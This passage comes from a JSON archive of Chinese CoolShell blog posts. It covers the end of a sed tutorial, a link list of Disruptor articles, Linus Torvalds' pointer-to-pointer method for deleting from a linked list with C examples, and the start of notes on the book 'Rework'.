goat's name is adam\n----</pre>\n<h5>c命令</h5>\n<p>c 命令是替换匹配行</p>\n<pre class=\"EnlighterJSRAW\">$ sed \"2 c This is my monkey, my monkey's name is wukong\" my.txt\nThis is my cat, my cat's name is betty\nThis is my monkey, my monkey's name is wukong\nThis is my fish, my fish's name is george\nThis is my goat, my goat's name is adam\n\n$ sed \"/fish/c This is my monkey, my monkey's name is wukong\" my.txt\nThis is my cat, my cat's name is betty\nThis is my dog, my dog's name is frank\nThis is my monkey, my monkey's name is wukong\nThis is my goat, my goat's name is adam</pre>\n<h5>d命令</h5>\n<p>删除匹配行</p>\n<pre class=\"EnlighterJSRAW\">$ sed '/fish/d' my.txt\nThis is my cat, my cat's name is betty\nThis is my dog, my dog's name is frank\nThis is my goat, my goat's name is adam\n\n$ sed '2d' my.txt\nThis is my cat, my cat's name is betty\nThis is my fish, my fish's name is george\nThis is my goat, my goat's name is adam\n\n$ sed '2,$d' my.txt\nThis is my cat, my cat's name is betty</pre>\n<h5>p命令</h5>\n<p>打印命令</p>\n<p>你可以把这个命令当成grep式的命令</p>\n<pre class=\"EnlighterJSRAW\"># 匹配fish并输出，可以看到fish的那一行被打了两遍，\n# 这是因为sed处理时会把处理的信息输出\n$ sed '/fish/p' my.txt\nThis is my cat, my cat's name is betty\nThis is my dog, my dog's name is frank\nThis is my fish, my fish's name is george\nThis is my fish, my fish's name is george\nThis is my goat, my goat's name is adam\n\n# 使用n参数就好了\n$ sed -n '/fish/p' my.txt\nThis is my fish, my fish's name is george\n\n# 从一个模式到另一个模式\n$ sed -n '/dog/,/fish/p' my.txt\nThis is my dog, my dog's name is frank\nThis is my fish, my fish's name is george\n\n#从第一行打印到匹配fish成功的那一行\n$ sed -n '1,/fish/p' my.txt\nThis is my cat, my cat's name is betty\nThis is my dog, my dog's name is frank\nThis is my fish, my fish's name is george</pre>\n<h4>几个知识点</h4>\n<p>好了，下面我们要介绍四个sed的基本知识点：</p>\n<h5>Pattern Space</h5>\n<p>第零个是关于-n参数的，大家也许没看懂，没关系，我们来看一下sed处理文本的伪代码，并了解一下Pattern Space的概念：</p>\n<pre class=\"EnlighterJSRAW\">foreach line in file {\n    //放入把行Pattern_Space\n    Pattern_Space &lt;= line;\n\n    // 对每个pattern space执行sed命令\n    Pattern_Space &lt;= EXEC(sed_cmd, Pattern_Space);\n\n    // 如果没有指定 -n 则输出处理后的Pattern_Space\n    if (sed option hasn't \"-n\")  {\n       print Pattern_Space\n    }\n}</pre>\n<h5>Address</h5>\n<p>第一个是关于address，几乎上述所有的命令都是这样的（注：其中的!表示匹配成功后是否执行命令）</p>\n<p><strong>[address[,address]][!]{cmd}</strong></p>\n<p>address可以是一个数字，也可以是一个模式，你可以通过逗号要分隔两个address 表示两个address的区间，参执行命令cmd，伪代码如下：</p>\n<pre class=\"EnlighterJSRAW\">\nbool bexec = false\nforeach line in file {\n    if ( match(address1) ){\n        bexec = true;\n    }\n\n    if ( bexec == true) {\n        EXEC(sed_cmd);\n    }\n\n    if ( match (address2) ) {\n        bexec = false;\n    }\n}</pre>\n<p>关于address可以使用相对位置，如：</p>\n<pre class=\"EnlighterJSRAW\"># 其中的+3表示后面连续3行\n$ sed '/dog/,+3s/^/# /g' pets.txt\nThis is my cat\n  my cat's name is betty\n# This is my dog\n#   my dog's name is frank\n# This is my fish\n#   my fish's name is george\nThis is my goat\n  my goat's name is adam</pre>\n<h5>命令打包</h5>\n<p>第二个是cmd可以是多个，它们可以用分号分开，可以用大括号括起来作为嵌套命令。下面是几个例子：</p>\n<pre class=\"EnlighterJSRAW\">$ cat pets.txt\nThis is my cat\n  my cat's name is betty\nThis is my dog\n  my dog's name is frank\nThis is my fish\n  my fish's name is george\nThis is my goat\n  my goat's name is adam\n\n# 对3行到第6行，执行命令/This/d\n$ sed '3,6 {/This/d}' pets.txt\nThis is my cat\n  my cat's name is betty\n  my dog's name is frank\n  my fish's name is george\nThis is my goat\n  my goat's name is adam\n\n# 对3行到第6行，匹配/This/成功后，再匹配/fish/，成功后执行d命令\n$ sed '3,6 {/This/{/fish/d}}' pets.txt\nThis is my cat\n  my cat's name is betty\nThis is my dog\n  my dog's name is frank\n  my fish's name is george\nThis is my goat\n  my goat's name is adam\n\n# 从第一行到最后一行，如果匹配到This，则删除之；如果前面有空格，则去除空格\n$ sed '1,${/This/d;s/^ *//g}' pets.txt\nmy cat's name is betty\nmy dog's name is frank\nmy fish's name is george\nmy goat's name is adam </pre>\n<h5>Hold Space</h5>\n<p>第三个我们再来看一下 Hold Space</p>\n<p>接下来，我们需要了解一下Hold Space的概念，我们先来看四个命令：</p>\n<p>g： 将hold space中的内容拷贝到pattern space中，原来pattern space里的内容清除<br/>\nG： 将hold space中的内容append到pattern space\\n后<br/>\nh： 将pattern space中的内容拷贝到hold space中，原来的hold space里的内容被清除<br/>\nH： 将pattern space中的内容append到hold space\\n后<br/>\nx： 交换pattern space和hold space的内容</p>\n<p>这些命令有什么用？我们来看两个示例吧，用到的示例文件是：</p>\n<pre class=\"EnlighterJSRAW\">$ cat t.txt\none\ntwo\nthree</pre>\n<p>第一个示例：</p>\n<pre class=\"EnlighterJSRAW\">$ sed 'H;g' t.txt\none\n\none\ntwo\n\none\ntwo\nthree</pre>\n<p>是不是有点没看懂，我作个图你就看懂了。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-9118\" height=\"404\" src=\"../wp-content/uploads/2013/02/sed_demo_00.jpg\" width=\"592\"/></p>\n<p>第二个示例，反序了一个文件的行：</p>\n<pre class=\"EnlighterJSRAW\">$ sed '1!G;h;$!d' t.txt\nthree\ntwo\none</pre>\n<p>其中的 ‘1!G;h;$!d’ 可拆解为三个命令</p>\n<ul>\n<li>1!G —— 只有第一行不执行G命令，将hold space中的内容append回到pattern space</li>\n<li>h —— 第一行都执行h命令，将pattern space中的内容拷贝到hold space中</li>\n<li>$!d —— 除了最后一行不执行d命令，其它行都执行d命令，删除当前行</li>\n</ul>\n<p>这个执行序列很难理解，做个图如下大家就明白了：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-9110\" height=\"316\" src=\"../wp-content/uploads/2013/02/sed_demo.jpg\" width=\"623\"/></p>\n<p>就先说这么多吧，希望对大家有用。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9070.html\"><img alt=\"AWK 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/awk-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9070.html\">AWK 简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9104.html\">sed 简明教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-2-28 并发框架Disruptor译文.html",
    "content": "<html><body><p><strong>（感谢同事<a href=\"http://ifeve.com\" target=\"_blank\">方腾飞</a>投递本文）</strong></p>\n<p><img alt=\"\" class=\"alignright size-medium wp-image-9188\" height=\"144\" src=\"../wp-content/uploads/2013/02/Disruptor-300x144.png\" width=\"300\"/>Martin Fowler在自己网站上写了一篇<a href=\"http://ifeve.com/lmax\" target=\"_blank\">LMAX架构</a>的文章，在文章中他介绍了LMAX是一种新型零售金融交易平台，它能够以很低的延迟产生大量交易。这个系统是建立在JVM平台上，其核心是一个业务逻辑处理器，它能够在一个线程里每秒处理6百万订单。业务逻辑处理器完全是运行在内存中，使用事件源驱动方式。业务逻辑处理器的核心是Disruptor。</p>\n<p>Disruptor它是一个开源的并发框架，并获得<a href=\"http://www.java.net/dukeschoice\" target=\"_blank\">2011 Duke’s </a>程序框架创新奖，能够在无锁的情况下实现网络的Queue并发操作。本文是<a href=\"https://code.google.com/p/disruptor/wiki/BlogsAndArticles\" target=\"_blank\">Disruptor官网</a>中发布的文章的译文（<a href=\"http://lmax-exchange.github.com/disruptor/\" target=\"_blank\">现在被移到了GitHub</a>）。</p>\n<h4><strong><span style=\"color: #008000;\">剖析Disruptor:为什么会这么快</span></strong></h4>\n<ul>\n<li><a href=\"http://ifeve.com/locks-are-bad/\" target=\"_blank\">剖析Disruptor:为什么会这么快？(一)锁的缺点</a></li>\n</ul>\n<ul>\n<li><a href=\"http://ifeve.com/disruptor-cacheline-padding/\" target=\"_blank\" title=\"剖析Disruptor:为什么会这么快？（二）神奇的缓存行填充\">剖析Disruptor:为什么会这么快？(二)神奇的缓存行填充</a></li>\n</ul>\n<ul>\n<li><a href=\"http://ifeve.com/falsesharing/\" target=\"_blank\" title=\"伪共享(False Sharing)\">剖析Disruptor:为什么会这么快？(三)伪共享</a></li>\n</ul>\n<ul>\n<li><a href=\"http://ifeve.com/disruptor-memory-barrier/\" target=\"_blank\" title=\"剖析Disruptor:为什么会这么快？(四)揭秘内存屏障\">剖析Disruptor:为什么会这么快？(四)揭秘内存屏障</a></li>\n</ul>\n<h4><span style=\"color: #008000;\">Disruptor如何工作和使用</span></h4>\n<ul>\n<li><a href=\"http://ifeve.com/dissecting-disruptor-whats-so-special/\" target=\"_blank\" title=\"剖析Disruptor:为什么会这么快？（一）Ringbuffer的特别之处\">如何使用Disruptor（一）Ringbuffer的特别之处</a></li>\n</ul>\n<ul>\n<li><a href=\"http://ifeve.com/dissecting_the_disruptor_how_doi_read_from_the_ring_buffer/\" target=\"_blank\" title=\"如何使用Disruptor（二）如何从Ringbuffer读取\">如何使用Disruptor（二）如何从Ringbuffer读取</a></li>\n</ul>\n<ul>\n<li><a href=\"http://ifeve.com/disruptor-writing-ringbuffer/\" target=\"_blank\" title=\"如何使用 Disruptor（三）写入 Ringbuffer\">如何使用Disruptor（三）写入Ringbuffer</a></li>\n</ul>\n<p><span id=\"more-9169\"></span></p>\n<ul>\n<li><a href=\"http://ifeve.com/the-disruptor-lock-free-publishing/\" target=\"_blank\" title=\"Disruptor(无锁并发框架)-发布\">Disruptor(无锁并发框架)-发布</a></li>\n</ul>\n<ul>\n<li><a href=\"http://ifeve.com/disruptor-dsl/\" rel=\"nofollow\" target=\"_blank\" title=\"LMAX Disruptor——一个高性能、低延迟且简单的框架\">LMAX Disruptor——一个高性能、低延迟且简单的框架</a></li>\n</ul>\n<ul>\n<li><a href=\"http://ifeve.com/disruptor-wizard/\" rel=\"nofollow\" target=\"_blank\" title=\"Disruptor Wizard已死，Disruptor Wizard永存！\">Disruptor Wizard已死，Disruptor Wizard永存！</a></li>\n</ul>\n<ul>\n<li><a href=\"http://ifeve.com/disruptor-2-change/\" target=\"_blank\" title=\"Disruptor 2.0更新摘要\">Disruptor 2.0更新摘要</a></li>\n</ul>\n<ul>\n<li><a href=\"http://ifeve.com/sharing-data-among-threads-without-contention/\" target=\"_blank\" title=\"线程间共享数据无需竞争\">线程间共享数据不需要竞争</a></li>\n</ul>\n<h4><span style=\"color: #008000;\">Disruptor的应用</span></h4>\n<ul>\n<li><a href=\"http://ifeve.com/lmax/\" target=\"_blank\" title=\"LMAX架构\">LMAX的架构</a></li>\n</ul>\n<ul>\n<li><a href=\"http://ifeve.com/axon/\" target=\"_blank\" title=\"通过Axon和Disruptor处理1M tps\">通过Axon和Disruptor处理1M tps</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22242.html\"><img alt=\"ETCD的内存问题\" height=\"150\" src=\"../wp-content/uploads/2022/05/etcd-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22242.html\">ETCD的内存问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17381.html\"><img alt=\"性能测试应该怎么做？\" height=\"150\" src=\"../wp-content/uploads/2016/07/PerfTest-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17381.html\">性能测试应该怎么做？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9169.html\">并发框架Disruptor译文</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-2-4 Linus：利用二级指针删除单向链表.html",
    "content": "<html><body><p><strong>感谢网友full_of_bull投递此文</strong>（注：此文最初发表在这个<a href=\"http://www.oldlinux.org/oldlinux/viewthread.php?tid=14575&amp;extra=page%3D1\" target=\"_blank\">这里</a>，我对原文后半段修改了许多，并加入了插图）</p>\n<p>Linus大婶在<a href=\"http://meta.slashdot.org/story/12/10/11/0030249/linus-torvalds-answers-your-questions\" target=\"_blank\">slashdot</a>上回答一些编程爱好者的提问，其中一个人问他什么样的代码是他所喜好的，大婶表述了自己一些观点之后，举了一个指针的例子，解释了什么才是<strong>core low-level coding</strong>。</p>\n<p>下面是Linus的教学原文及翻译——</p>\n<p style=\"padding-left: 30px;\">“At the opposite end of the spectrum, I actually wish more people understood the really core low-level kind of coding. Not big, complex stuff like the lockless name lookup, but simply good use of pointers-to-pointers etc. For example, I’ve seen too many people who delete a singly-linked list entry by keeping track of the “prev” entry, and then to delete the entry, doing something like。（在这段话的最后，我实际上希望更多的人了解什么是真正的核心底层代码。这并不像无锁文件名查询（注：可能是git源码里的设计）那样庞大、复杂，只是仅仅像诸如使用二级指针那样简单的技术。例如，我见过很多人在删除一个单项链表的时候，维护了一个”prev”表项指针，然后删除当前表项，就像这样）”</p>\n<pre class=\"EnlighterJSRAW\">if (prev)\n    prev-&gt;next = entry-&gt;next;\nelse\n    list_head = entry-&gt;next;</pre>\n<p style=\"padding-left: 30px;\">and whenever I see code like that, I just go “This person doesn’t understand pointers”. And it’s sadly quite common.（当我看到这样的代码时，我就会想“这个人不了解指针”。令人难过的是这太常见了。）</p>\n<p><span id=\"more-8990\"></span></p>\n<p style=\"padding-left: 30px;\">People who understand pointers just use a “pointer to the entry pointer”, and initialize that with the address of the list_head. And then as they traverse the list, they can remove the entry without using any conditionals, by just doing a “*pp = entry-&gt;next”. （了解指针的人会使用链表头的地址来初始化一个“指向节点指针的指针”。当遍历链表的时候，可以不用任何条件判断（注：指prev是否为链表头）就能移除某个节点，只要写)</p>\n<p><code class=\"EnlighterJSRAW\">*pp = entry-&gt;next</code></p>\n<p style=\"padding-left: 30px;\">So there’s lots of pride in doing the small details right. It may not be big and important code, but I do like seeing code where people really thought about the details, and clearly also were thinking about the compiler being able to generate efficient code (rather than hoping that the compiler is so smart that it can make efficient code *despite* the state of the original source code). （纠正细节是令人自豪的事。也许这段代码并非庞大和重要，<strong>但我喜欢看那些注重代码细节的人写的代码，也就是清楚地了解如何才能编译出有效代码</strong>（而不是寄望于聪明的编译器来产生有效代码，即使是那些原始的汇编代码））。</p>\n<p>Linus举了一个单向链表的例子，但给出的代码太短了，一般的人很难搞明白这两个代码后面的含义。正好，有个编程爱好者阅读了这段话，并给出了一个<a href=\"http://wordaligned.org/articles/two-star-programming\" target=\"_blank\">比较完整的代码</a>。他的话我就不翻译了，下面给出代码说明。</p>\n<p>如果我们需要写一个remove_if(link*, rm_cond_func*)的函数，也就是传入一个单向链表，和一个自定义的是否删除的函数，然后返回处理后的链接。</p>\n<p>这个代码不难，基本上所有的教科书都会提供下面的代码示例，而这种写法也是大公司的面试题<strong>标准</strong>模板：</p>\n<pre class=\"EnlighterJSRAW\">typedef struct node\n{\n    struct node * next;\n    ....\n} node;\n\ntypedef bool (* remove_fn)(node const * v);\n\n// Remove all nodes from the supplied list for which the\n// supplied remove function returns true.\n// Returns the new head of the list.\nnode * remove_if(node * head, remove_fn rm)\n{\n    for (node * prev = NULL, * curr = head; curr != NULL; )\n    {\n        node * const next = curr-&gt;next;\n        if (rm(curr))\n        {\n            if (prev)\n                prev-&gt;next = next;\n            else\n                head = next;\n            free(curr);\n        }\n        else\n            prev = curr;\n        curr = next;\n    }\n    return head;\n}</pre>\n<p>这里remove_fn由调用查提供的一个是否删除当前实体结点的函数指针，其会判断删除条件是否成立。这段代码维护了两个节点指针prev和curr，<strong>标准的教科书写法——删除当前结点时，需要一个previous的指针，并且还要这里还需要做一个边界条件的判断——curr是否为链表头</strong>。于是，要删除一个节点（不是表头），只要将前一个节点的next指向当前节点的next指向的对象，即下一个节点（即：prev-&gt;next = curr-&gt;next），然后释放当前节点。</p>\n<p>但在Linus看来，这是不懂指针的人的做法。那么，什么是core low-level coding呢？那就是<strong>有效地利用二级指针，将其作为管理和操作链表的首要选项。</strong>代码如下：</p>\n<pre class=\"EnlighterJSRAW\">void remove_if(node ** head, remove_fn rm)\n{\n    for (node** curr = head; *curr; )\n    {\n        node * entry = *curr;\n        if (rm(entry))\n        {\n            *curr = entry-&gt;next;\n            free(entry);\n        }\n        else\n            curr = &amp;entry-&gt;next;\n    }\n}</pre>\n<p>同上一段代码有何改进呢？我们看到：<strong>不需要prev指针了，也不需要再去判断是否为链表头了，但是，<span style=\"color: #cc0000;\">curr变成了一个指向指针的指针</span></strong>。这正是这段程序的精妙之处。（注意，我所highlight的那三行代码）</p>\n<p>让我们来人肉跑一下这个代码，对于——</p>\n<ul>\n<li><strong>删除节点是表头</strong>的情况，输入参数中传入head的二级指针，在for循环里将其初始化curr，然后entry就是*head(*curr)，我们马上删除它，那么第8行就等效于*head = (*head)-&gt;next，就是删除表头的实现。</li>\n</ul>\n<ul>\n<li><strong>删除节点不是表头</strong>的情况，对于上面的代码，我们可以看到——</li>\n</ul>\n<p style=\"padding-left: 30px;\"><strong>1）<strong>（第12行）</strong>如果不删除当前结点 —— curr保存的是当前结点next指针的地址</strong>。</p>\n<p style=\"padding-left: 30px;\"><strong>2）（第5行） entry 保存了 *curr <strong>—— </strong>这意味着在下一次循环：entry就是prev-&gt;next指针所指向的内存。</strong></p>\n<p style=\"padding-left: 30px;\"><strong></strong><strong>3）（第8行）删除结点：*curr = entry-&gt;next; —— 于是：prev-&gt;next 指向了 entry -&gt; next;</strong></p>\n<p>是不是很巧妙？我们可以只用一个二级指针来操作链表，对所有节点都一样。</p>\n<p>如果你对上面的代码和描述理解上有困难的话，你可以看看下图的示意：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-9018\" height=\"470\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer.jpg\" width=\"479\"/></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9859.html\"><img alt=\"Alan Cox：单向链表中prev指针的妙用\" height=\"150\" src=\"../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9859.html\">Alan Cox：单向链表中prev指针的妙用</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9917.html\"><img alt=\"Alan Cox：大教堂、市集与市议会\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9917.html\">Alan Cox：大教堂、市集与市议会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-3-11 《Rework》摘录及感想.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright wp-image-9277\" height=\"360\" src=\"../wp-content/uploads/2013/03/rework.jpg\" width=\"235\"/>读了《Rework》这本书好多遍，每次读都有不同的感想。但从来没有把这些感想记录下来，今天把《Rework》书中的一些章节做一些摘录，并把我的一些感想总结出来。供大家参考。这是一本平生以来让我中毒很深的书，也是一本让我思考得很多的书。希望看到这篇文章的人都能好好地读读这本书。这本书并不难读，是一本你可以一口气不中断就可以读完的书。</p>\n<h4>现实世界</h4>\n<p>“这在现实世界里面行不通”，当你向人们介绍一个新创意时，人们总是这么回答你。这个“现实世界”听起来如此令人沮丧，……只有人耳熟能详，习以为常的事情才会胜利，即使是这些事情已经漏洞百出陈腐低效。</p>\n<p>揭开“现实世界”这个锅盖，你会发现居住在里的人都充斥着悲观主义和失望的情绪。更糟的是，他们想将别人拖进他们的坟墓。如果你是充满希望和野心的人，他们会试着说服你，你的想法是不可能的。他们会说你在浪费时间。</p>\n<p><strong>“现实世界”并不存在，那只是人的一个借口。只是某些人为了开脱 自己的无所作为，跟你一点关系也没有。</strong></p>\n<blockquote><p><strong>感想</strong>：我经常会向一同事和朋友提及一些我的想法，朋友同事们经常会回答我——这个事某某人，某某团队做过了，没成功。或是对我说，你做这个事的时候，要小心这个要小心那个。我觉得，这个时候是最考验我们的时候了，要有一个清醒的头脑去分析别人的话，别人真不代表自己。这个世界上大多数人都是比较保守的，大多数都对这个现实世界都有或多或少的恐惧感。当然，你可以选择做大众，但是如果你想让你的人生有些不同，有些精彩，我还是建议你不要和大多数人想得一样，<strong>如果你和大多数人的想法一样，你必然会和大多数人一样的平庸</strong>。当然，如果你和大多数人不一样，你要么就是天才，要么就是傻瓜。要证明你自己是不是傻瓜，我们可以看看我们过去有没有过一些小成功或小成绩。如果有，那么就应该大胆地坚持自己的想法。</p></blockquote>\n<h4>被高估的“从错误中学习”</h4>\n<p>你真的从错误和失败里面学到什么了吗？你也许学到了别再重蹈覆辙，但是这有什么意义吗？你仍然不知道接下来该做什么。</p>\n<p><span 